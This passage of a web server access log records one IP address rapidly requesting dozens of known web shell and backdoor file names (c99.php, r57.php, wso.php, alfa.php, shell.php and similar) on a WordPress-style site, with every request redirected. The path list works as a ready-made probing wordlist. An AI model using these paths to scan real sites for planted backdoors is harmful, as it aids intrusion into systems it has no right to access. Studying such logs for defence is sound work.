Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:32 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:52:33 +0300] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:33 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:34 +0300] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:52:34 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:34 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:34 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:35 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:35 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:52:35 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:35 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:36 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:36 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:36 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:52:36 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:52:37 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:52:37 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:52:37 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:37 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:52:38 +0300] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:52:38 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:38 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:52:39 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:39 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:39 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:39 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:40 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:40 +0300] "GET /ae.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:40 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:52:40 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:41 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:41 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:41 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:42 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:42 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:52:42 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:42 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:43 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:43 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:43 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:43 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:52:44 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:44 +0300] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:44 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:45 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:52:45 +0300] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:45 +0300] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:46 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:46 +0300] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:46 +0300] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:52:47 +0300] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:47 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:52:47 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:47 +0300] "GET /wxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:47 +0300] "GET /amigo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:48 +0300] "GET /yoi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:52:48 +0300] "GET /wp-admin/codeboy1877_up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:48 +0300] "GET /wp-includes/codeboy1877_up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:52:49 +0300] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:49 +0300] "GET /we1y8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:49 +0300] "GET /wp-content/iu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:49 +0300] "GET /ccx/th3_err0r.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:50 +0300] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:50 +0300] "GET /wp-content/codeboy1877_up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:50 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:51 +0300] "GET /post-data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:51 +0300] "GET /w0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:51 +0300] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:52:51 +0300] "GET /wsanon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:52 +0300] "GET /wp-content/small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:52 +0300] "GET /wp-content/mode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:52 +0300] "GET /indo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:52 +0300] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:52 +0300] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:53 +0300] "GET /archives.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:53 +0300] "GET /po8sa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:52:54 +0300] "GET /thesmartestx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:54 +0300] "GET /zcanp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:54 +0300] "GET /burjuva.aspx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:54 +0300] "GET /pvt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:55 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:55 +0300] "GET /cgi-bin/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:52:55 +0300] "GET /crypted.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:56 +0300] "GET /h0110w4y.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:56 +0300] "GET /vesiw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:52:56 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:56 +0300] "GET /wp-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:57 +0300] "GET /wp-includes/lx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:57 +0300] "GET /wp-content/ice.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:57 +0300] "GET /wp-content/lx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:52:57 +0300] "GET /lx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:57 +0300] "GET /tonant.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:58 +0300] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:52:58 +0300] "GET /config.bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:59 +0300] "GET /bypass403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:59 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:59 +0300] "GET /allahnaber.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:00 +0300] "GET /AK-74.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:00 +0300] "GET /alfa3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:00 +0300] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:01 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:01 +0300] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:01 +0300] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:01 +0300] "GET /cw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:53:02 +0300] "GET /date.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:02 +0300] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:53:02 +0300] "GET /icomsium.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:03 +0300] "GET /ico.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:03 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:53:03 +0300] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.38 - - [03/Feb/2026:10:53:03 +0300] "GET /mass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:04 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:04 +0300] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:53:04 +0300] "GET /pws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:53:04 +0300] "GET /r57.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:53:05 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.38 - - [03/Feb/2026:10:53:05 +0300] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - 